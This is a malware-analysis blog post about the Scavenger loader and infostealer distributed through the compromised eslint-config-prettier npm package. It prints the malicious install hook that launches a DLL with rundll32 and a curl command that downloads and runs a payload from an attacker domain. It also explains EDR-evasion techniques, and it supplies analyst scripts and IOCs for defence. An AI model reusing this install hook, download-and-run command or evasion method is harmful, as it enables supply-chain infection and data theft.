Recommend song to listen to while reading:
<iframe style="border-radius:12px" src="https://open.spotify.com/embed/track/6Y3VKAhFR2Zrqd2MiI35jR?utm_source=generator&theme=0" width="100%" height="152" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy"></iframe>
> If you find something off with what I say, please let me know. I'll gladly amend my content and credit you for the fix.
Some thanks in alphabetical order for all those who supported this blog post:
- [Bakki](https://sillywa.re/) & [Deluks](https://deluks2006.github.io/) for supporting my insane rambling.
- [Rad](https://x.com/rad9800) for helping me ID the initial phish as a Device Code phishing
- [Struppigel](https://x.com/struppigel) for helping us associate this sample to others.
- Rajnikanth for the last second memes 🤌
- [cxiao](https://cxiao.net) for pointing us towards the second stage payload
- And **most importantly**: [Josh](https://x.com/JershMagersh) from [InvokeRe](https://invokere.com/) for being an exceptional partner and a great mentor. Couldn't have done this one without his big ol' brain.
# Preface
This blog post was written as a partnership with [Josh](https://x.com/JershMagersh) at [InvokeRE](https://invokere.com/). Josh is an absolute beast and a fantastic teacher. If you're curious about reverse engineering, binary ninja or IDA, he's your guy. In a bind and need a team of cracked nerds to assess malware, create detection rules and reverse it? InvokeRE is there for you! Interested in some onsite or virtual training? You get the idea 😉.
> His blog post (part 2 of this analysis) has now been published, you can find it here: https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise/
You can find more about what InvokeRE offers on their website: https://invokere.com/.
![[teamwork.png]]
This article won't be touching on the actual phishing campaign. [Rad](https://x.com/rad9800) was able to document and reproduce what went on in his writeup called "[From Phish to Package: NPM Supply Chain Attacks](https://deceptiq.com/blog/from-phish-to-package-npm-supply-chain-attacks (preview))" in which he dives into the technical details of this novel phishing tactic.
Due to multiple references to the string "**SCVNGR**" and "**Scavenger**" in most variants we found, we decided to name it "**Scavenger**".
---
On Friday July 18th, a number of GitHub users reported a popular NPM package es-lint-config-prettier having releases published despite [code changes not being reflected within their Github repository](https://github.com/prettier/eslint-config-prettier/issues/339). The maintainer later [acknowledged](https://x.com/JounQin/status/1946297662069993690) that their NPM account had been compromised via a phishing email (Figure 1).
![[initial-email.png|Figure 1. Phishing Email Received by NPM Package Maintainer]]
They later acknowledged the following NPM packages had been affected:
```
- eslint-config-prettier
- 8.10.1
- 9.1.1
- 10.1.6
- 10.1.7
- eslint-plugin-prettier
- 4.2.2
- 4.2.3
- snyckit:
- 0.11.9
- @pkgr/core:
- 0.2.8
- napi-postinstall:
- 0.3.1
```
This blog covers the infection vector used with the compromised package `eslint-config-prettier` for the Scavenger loader, the Scavenger infostealer and an overview of both of their functionalities.
Oh and obviously all of this had to happen on a Friday. Because who needs to enjoy their weekend anyways right?
![[Prettier to pwned.png|Every SOC analyst that works at R&D shops last Friday]]
---
# Infection Vector
The eslint-config-prettier package shipped an install.js file with the function logDiskSpace() that is executed upon the NPM package’s installation:
```js
152 + function logDiskSpace() {
153 + try {
154 + if(os.platform() === 'win32') {
155 + const tempDir = os.tmpdir();
156 + require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157 + [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158 + log(`Temp directory: ${tempDir}`);
159 + const files = cache.readdirSync(tempDir);
160 + log(`Number of files in temp directory: ${files.length}`);
161 + }
162 + } catch (err) {
163 + summary.errors++;
164 + log(`Error accessing temp directory: ${err.message}`);
165 + }
166 + }
```
The logDiskSpace function checks if the platform is win32 (Microsoft Windows) and if it is, then it creates a child process to execute a shipped DLL node-gyp.dll with rundll32.exe.
# Scavenger Loader
> **Hash**: c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441
The DLL is a loader malware variant written in Microsoft Visual Studio C++ that was compiled on 2025-07-18 08:59:38 UTC - the same day that the malicious package was distributed. The DLL contains the export name `loader.dll`.
Once executed with `rundll32.exe`: the DLL entry point starts a separate thread to execute the core loader functionality.
The functionality is largely within a monolithic function that contains a number of anti-analysis techniques, including:
- anti-VM detection
- antivirus detection
- dynamically resolved runtime functions
- XOR string decryption
- indirect syscalls to bypass antivirus and endpoint detection and response (EDR) technologies
## Anti-VM Detection
The loader attempts to detect if it is within a virtual environment by calling `GetSystemFirmwareTable` with the `FirmwareTableProviderSignature` set to "RSMB" to retrieve the raw SMBIOS firmware table provider. This provider is used to enumerate the `SMBIOSTableData` for common virtual machine BIOS names, including:
- VMware
- qemu
- QEMU
## Analysis Tool and Antivirus Detection
The loader also enumerates its process space for the following DLLs:
- snxhk.dll (Avast’s hook library)
- Sf2.dll (Avast related)
- SxIn.dll (Qihu 360)
- SbieDll.dll (Sandboxie)
- cmdvrt32.dll (Comodo Antivirus)
- winsdk.dll
- winsrv_x86.dll
- Harmony0.dll (likely related to the lib.harmony patching project)
- Dumper.dll (likely related to memory dumping)
- vehdebug-x86_64.dll (CheatEngine related)
## Other Anti-Analysis Checks
- The number of processors is identified by acquiring the BASIC_SYSTEM_INFORMATION structure from `NtQuerySystemInformation` and checking the `NumberOfProcessors` member to ensure the number of processors is **above 3**.
- It checks if it can use `WriteConsoleW` to determine if it’s being run in a console by writing “0 bytes” and checking the success status.
- Checks if the `%TEMP%\SCVNGR_VM` directory already exists (if the malware is already present on the machine)
If any of these checks succeed, then the loader will purposefully cause a null-pointer exception that will cause the loader to crash
## Function hash resolution, hook identification & indirect syscalls
One of the first things analysts might notice is the perceived heaviness of the sample. From a debugger’s perspective, much of the loader appears to reside within a single, expansive function. This complexity is likely compounded by the fact that the sample seems to compute the CRC32 hash of each import function every time it’s needed, rather than caching and reusing the result.
It's also important to note that, besides the statically linked imports, Scavenger was also found to **dynamically load** `ole32.dll` and `shell32.dll` for COM operation purposes.
### Hashing routine
The CRC32 hashing routine is fairly simple to identify. The loader will start by reading its own [PEB](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) as a way of reading the currently loaded DLLs through the `InMemoryOrderModuleList` structure which the MSDN defines as such:
> The head of a doubly-linked list that contains the loaded modules for the process.
```nasm
mov rax, qword [gs:0x60] // Get PEB pointer through the gs register
mov qword [rel g_peb], rax
mov rax, qword [rel g_peb]
mov rax, qword [rax+0x18 {_PEB::Ldr}]
mov qword [rbp+0x3dd8 {var_10608_1}], rax
mov rax, qword [rbp+0x3dd8 {var_10608_1}]
add rax, 0x20 {_PEB_LDR_DATA::InMemoryOrderModuleList} // Load InMemoryOrderModuleList structure pointer
mov qword [rbp+0x3028 {var_113b8_1}], rax
mov rax, qword [rbp+0x3028 {var_113b8_1}]
mov rax, qword [rax {_PEB_LDR_DATA::InMemoryOrderModuleList.Flink}] // Load it’s doubly-linked list of results which can be interpreted as an _LDR_DATA_TABLE_ENTRY
mov qword [rbp+0x1b28 {Flink_16}], rax
```
It then reads through every single loaded module, fetches the loaded module’s full DLL name (`_LDR_DATA_TABLE_ENTRY->FullDllName.Buffer`) as a pointer to a Unicode string that it will then convert into ASCII by limiting valid characters to `0x80` and proceed to lowercase all of them. Once it’s done so, it proceeds to calculate the CRC32 of the current function by leveraging a custom [CRC table](https://www.sunshine2k.de/articles/coding/crc/understanding_crc.html#ch44). Once it has a hit (match), it finally proceeds to calculate the address of that function.
![[example hash resolution.png| Function hash resolution example for NtClose]]
The custom CRC32 hashing algorithm can be reproduced in Python as such to generate a Binary Ninja compatible hash table.
```py
import re
from binaryninja.types import SymbolType
from binaryninja.enums import SymbolBinding
from binaryninja import BinaryViewType
CRC_TABLE = [
# hashtable found at 0x18011e940 as a `uint32_t[0x100]`
]
def compute_crc(bytestream: bytes) -> int:
crc32 = 0xFFFFFFFF
for byte in range(int(len(bytestream))):
lookup_index = (crc32 ^ bytestream[byte]) & 0xFF
crc32 = (crc32 >> 8) ^ CRC_TABLE[lookup_index]
return crc32 ^ 0xFFFFFFFF
def decrypt_mod_name(module_ct_bytes, offset, xor_key):
offset_mod = offset * 0x21
module_name_length = module_ct_bytes[offset_mod]
module_name_ct = module_ct_bytes[
offset_mod + 1 : offset_mod + 1 + module_name_length
]
rbytes = bytes()
xoff = 0
for i, b in enumerate(module_name_ct):
rbytes += (b ^ xor_key[i & 3]).to_bytes(1, byteorder="little")
return rbytes.decode("ascii")
def gen_dll_hash_table(dll_path):
dbv = BinaryViewType["PE"].open(dll_path)
table = {}
for symbol in dbv.get_symbols_of_type(SymbolType.FunctionSymbol):
if (
symbol.binding is SymbolBinding.GlobalBinding
or symbol.binding is SymbolBinding.WeakBinding
):
tmp_symbol = re.sub("Stub", "", symbol.full_name)
rhash = compute_crc(bytes(tmp_symbol, "ascii"))
table[tmp_symbol] = hex(rhash)
return table
def generate_header(dll_name, resolved_hashes):
rstr = ""
dll_enum_name = dll_name.split('.')[0].split('\\')[-1]
rstr += f"enum {dll_enum_name}_hashes {{"
for k, v in resolved_hashes.items():
rstr += f"{k} = {v},"
rstr += "};"
return rstr
dll_list = [
"C:\\Windows\\System32\\kernel32.dll",
"C:\\Windows\\System32\\user32.dll",
"C:\\Windows\\System32\\ntdll.dll",
"C:\\Windows\\System32\\ws2_32.dll",
"C:\\Windows\\System32\\shell32.dll",
"C:\\Windows\\System32\\ole32.dll",
"C:\\Windows\\System32\\bcrypt.dll"
]
for dll in dll_list:
generate_header(dll, gen_dll_hash_table(dll))
```
### Hook identification
The loader’s author has decided to only check hooks on certain functions like `NtClose` & `IsDebuggerPresent` by looking at the very first bytecode of the function and comparing it to a known “good”/normal value.
![[checking the first bytecode byte of NtClose.png|Checking the first byte within the NtClose instructions to see if they're as expected]]
### Indirect Syscalls
In an attempt to evade EDRs through indirect syscalls, the loader will:
- Setup a new buffer to save the instructions of the patched API
- Save the original bytecode from the function it needs with an offset of `+0x4` to set up an [indirect syscall](https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls#:~:text=the%20next%20chapter.-,Indirect%20Syscalls,-The%20indirect%20syscall)
- Goes on to restore the first 4 bytes of that function into a new address by setting them to the original bytecode values
- It finally appends a syscall trigger and a return “early”.
All of the indirect syscall creation is set up for itself through the -1 [pseudo-handle](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess#:~:text=A%20pseudo%20handle%20is%20a%20special%20constant%2C%20currently%20\(HANDLE\)%2D1%2C%20that%20is%20interpreted%20as%20the%20current%20process%20handle.).
![[prep indirect syscall.png| Saving a "headless" version of NtSetInformationThread and creating the new buffer]]
![[patching hooked syscall.png | Patching the hooked syscall and saving it into our buffer]]
The patching can be summarized to this:
```nasm
4c8bd1 mov r10, rcx
… (original function instructions) …
0f05 syscall
c3 retn
```
The following APIs are found to be unhooked:
- `NtSetInformationThread`: Used to set [ThreadHideFromDebugger](https://colinsenner.com/blog/thread-hide-from-debugger/)
- `NtQuerySystemInformation`: Gather information on the number of processors
### Encrypted strings
Additionally, the sample has a quite a few hardcoded encrypted strings that can be decrypted by XOR-ing them with the recurring values `0x39541b2f8f3ef92d` and `0x44554d0a728bffd0`.
![[string decryption routine.png| String decryption routine]]
Josh was also kind enough to create a Binary Ninja script to decrypt all encrypted strings.
```py
import struct
import binaryninja
import sys
import json
# Let's capture each assignment instruction
def match_LowLevelIL_18002def6_0(insn):
# rax = 0x17662843e35b915e
if insn.operation != binaryninja.LowLevelILOperation.LLIL_SET_REG:
return False
if insn.dest.name != 'rax':
return False
# 0x17662843e35b915e
if insn.src.operation != binaryninja.LowLevelILOperation.LLIL_CONST:
return False
return True
binary = sys.argv[1]
# The obfuscator makes these functions huge, so we need to adjust the defaults and only do basic analysis to get LLIL
bv = binaryninja.load(binary, options={'analysis.mode': 'basic', 'analysis.limits.maxFunctionSize': 100000000, 'pdb.features.parseSymbols': False})
bb_start = set()
# Here we capture each assignment from each basic block
# that meets our criteria. Limit each "stack' to a basic block
for func in bv.functions:
#print(f"Function: {hex(func.start)}")
for bb in func.llil:
for instr in bb:
if match_LowLevelIL_18002def6_0(instr):
bb_start.add(instr.il_basic_block[0].address)
# We then filter each "stack" to use only those with high
# amount of assignments (encrypted strings)
high_assigns = []
stack = []
for start in bb_start:
stack = []
for cbb in bv.get_functions_containing(start)[0].llil:
if cbb[0].address == start:
for instr in cbb:
if match_LowLevelIL_18002def6_0(instr):
stack.append(instr)
if len(stack) >= 4:
high_assigns.append(stack)
result = {}
for stack in high_assigns:
# Each captured stack is effectively made up of one half of keys
# and the other half of ciphertext. So we just need to iterate
# over each half respectively to cover each string.
slen = len(stack)//2
rqs = []
cts = stack[:slen]
keys = stack[slen:]
for i, ct in enumerate(cts):
rqs.append(ct.src.constant ^ keys[i].src.constant)
print(f"Result for: {stack[0].address:2x}: {(struct.pack('Q'*len(rqs), *rqs)).decode('ascii')}")
result[hex(stack[0].address)] = (struct.pack('Q'*len(rqs), *rqs)).decode('ascii').split("\x00")[0]
f = open(f'{sys.argv[1]}.json', 'w')
f.write(json.dumps(result))
f.close()
```
The XOR routine used was later on identified as being "https://github.com/JustasMasiulis/xorstr/tree/master". S/O to [hexamine22](https://github.com/hexamine22) for pointing this out to me!
## C2 communications
To keep this article on the shorter side, we'll keep the full C2 analysis for a second blog post. In the meantime, here's what we were able to assess.
### Encryption
The encryption algorithm used by Scavenger was found to be using [XXTEA](https://en.wikipedia.org/wiki/XXTEA) which is a somewhat simple block cipher. We can easily identify it by it's `DELTA` value of `0x9e3779b9` and it's `MX` macro `MX ((z>>5^y<<2) + (y>>3^z<<4) ^ (sum^y) + (k[p&3^e]^z))`. All payloads exchanged between the C2 and the victim are found to be using this block cipher.
![[xxtea implementation.png]]
### General notes
- Scavenger leverages `libcurl` to communicate with the C2
- An initial connection is made to https:\/\/{host}/c/k2 and the sample expects a base64 encoded response which is almost certainly a **campaign ID**
- It then proceeds to send a random string through http:\/\/{c2_host}/c/v?v={VICTIM ID}
- If the decrypted reply does not match the random string initially sent, it aborts. This serves as a communication integrity check
- All encrypted payloads were found to be sent as base64 encoded
Although we this blog post doesn't dive too deep into the C2 communications, I'm of the opinion partial information can still be relevant. For this reason, here is a list of known but not yet understood C2 URL paths and query parameters:
- `https:\/\/{c2_host}/pdl?p=`
- `https:\/\/{c2_host}/pdp?p=`
- `https:\/\/{c2_host}/pl?_=-`
- `https:\/\/{c2_host}/c/v?v=`
- `https:\/\/{c2_host}/...&s=`
- `https:\/\/{c2_host}/c/a?i=`
- `https:\/\/{c2_host}/c/k2`
- `https:\/\/{c2_host}/...&t=`
# Scavenger Stealer
The second stage that gets dropped is extremely similar to the loader. It employs the same debugging tricks, the same function hashing algorithm, the same embedded string obfuscation and the same C2 communication block-cipher. For this reason, we'll quickly touch on import IOCs and keep the rest for the second part that will dive into the C2 communication as it's an important part of the stealer.
### Additional samples
Thanks to Twitter user [Malware Utkonos](https://x.com/MalwareUtkonos) I was able to run our scripts on multiple other sample found in the previously mentioned infected NPM packages. This ended up providing very valuable IOCs such as additional C2s that weren't reported (for this specific attack) just yet.
![[twitter dll list.png]]
### Chromium is targeted
While analyzing Scavenger, several encrypted strings stood out due to their strong association with Chrome internals: `Extensions`, `ServiceWorkerCache`, `DawnWebGPUCache`, and `Visited Links`. These artifacts suggest the malware is specifically aware of, or targeting, browser-level data. Here's what each component does and why it might matter. The second stage of Scavenger is almost certainly a **stealer**.
**`Extensions`**
Chrome extensions can hold sensitive data such as authentication tokens, private keys, or browsing behavior. Malware targeting this area may attempt to extract data from security-related extensions (e.g., password managers) or manipulate installed extensions for persistence or exfiltration.
**`ServiceWorkerCache`**
This is used to store background worker scripts and cached responses for Progressive Web Apps (PWAs). Access to it could allow malware to extract session data, cached web app resources, or tamper with offline content, especially for services like messaging or productivity platforms.
**`DawnWebGPUCache`**
This refers to cached data from Chrome’s WebGPU implementation, "Dawn." While not typically targeted, its presence suggests GPU feature detection or fingerprinting. It may also point to preparation for rendering-based exploits or optimized browser-based crypto mining.
**`Visited Links`**
This is part of Chrome’s browsing history mechanism. Access to it would allow the malware to recover visited URLs—potentially identifying high-value targets such as banking, cloud portals, or internal enterprise tools—for follow-on phishing or credential theft.
### Slip ups & connection to BeamNG?
Interestingly enough, the sample `c3536b736c26cd5464c6f53ce8343d3fe540eb699abd05f496dcd3b8b47c5134` was found to be slightly different from the rest. Everything from the XTEA encryption routine to the XOR static string obfuscation was identical **but** this one also contained a full blown `curl` command. This second stage was also much lighter than the others, sitting at a lean 70KiB.
![[curl command.png| Curl command that can be found in one of the second stages]]
Upon closer inspection, we also find a leftover PDB path that allows us to confirm the "real" name of this malware strain! Scavenger!!
`C:\Users\user\Desktop\X\scavenger\scavenger-main\scavenger-client\x64\Release\dropper-cmd.pdb`
![[pdb filepath.png|PDB file path the author forgot to strip]]
We also notice this version is **much** sloppier. The sample goes through a few hoops to avoid common debugging techniques but finishes off with a simple call to `WinExec` which executes the following command: `cmd /c curl https://ac7b2eda6f14.datahog.su/2w3e98t5zh298w3tzhg7982w3t4eg -o "%TEMP%\tmp6FC15.tmp" > NUL && move "%TEMP%\tmp6FC15.tmp" "%TEMP%\tmp6FC15.dll" && rundll32 "%TEMP%\tmp6FC15.dll",main`
![[winexec.png | Call to WinExec to execute the curl command]]
When poking the C2 endpoint with the same path, we notice it currently returns a 502 (Connection Timed Out). But once again, more on this in part 2. That said, if you Google the domain, it leads to a great blog post (special thanks to [Struppigel](https://x.com/struppigel) for pointing this out to me): https://lemonyte.com/blog/beamng-malware. The specific malware strain we are reviewing was also seen **within a BeamNG executable**. I highly recommend you go and read this blog post by Lemonite, it contains a ton more interesting information. Finally, the `WinExec` we saw in the sloppy payload is also visible in the infected BeamNG sample.
**These two campaigns are most definitely linked.**
# IOCs
Here are a few handy IOCs until more information on the C2 communication mechanism is released.
**URLs**
- https:\/\/ac7b2eda6f1.datahog.su
- https:\/\/datahog.su
- https:\/\/datacrab-analytics.com
- https:\/\/datalytica.su
- https:\/\/smartscreen-api.com
- https:\/\/dieorsuffer.com
- https:\/\/firebase.su
- https:\/\/fileservice.gtainside\.com/fileservice/downloads/ftpk/1743451692_Visual%20Car%20Spawner%20v3.4.zip
**Hashes**
- 877f40dda3d7998abda1f65364f50efb3b3aebef9020685f57f1ce292914feae
- 9ec86514d5993782d455a4c9717ec4f06d0dfcd556e8de6cf0f8346b8b8629d4
- 0254abb7ce025ac844429589e0fec98a84ccefae38e8e9807203438e2f387950
- dd4c4ee21009701b4a29b9f25634f3eb0f3b7f4cc1f00b98fc55d784815ef35b
- c4504c579025dcd492611f3a175632e22c2d3b881fda403174499acd6ec39708
- 1aeab6b568c22d11258fb002ff230f439908ec376eb87ed8e24d102252c83a6e
- c3536b736c26cd5464c6f53ce8343d3fe540eb699abd05f496dcd3b8b47c5134
- 90291a2c53970e3d89bacce7b79d5fa540511ae920dd4447fc6182224bbe05c5
- 8c8965147d5b39cad109b578ddb4bfca50b66838779e6d3890eefc4818c79590
- 75c0aa897075a7bfa64d8a55be636a6984e2d1a5a05a54f0f01b0eb4653e9c7a
- 30295311d6289310f234bfff3d5c7c16fd5766ceb49dcb0be8bc33c8426f6dc4
- c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441
- 80c1e732c745a12ff6623cbf51a002aa4630312e5d590cd60e621e6d714e06de
- d845688c4631da982cb2e2163929fe78a1d87d8e4b2fe39d2a27c582cfed3e15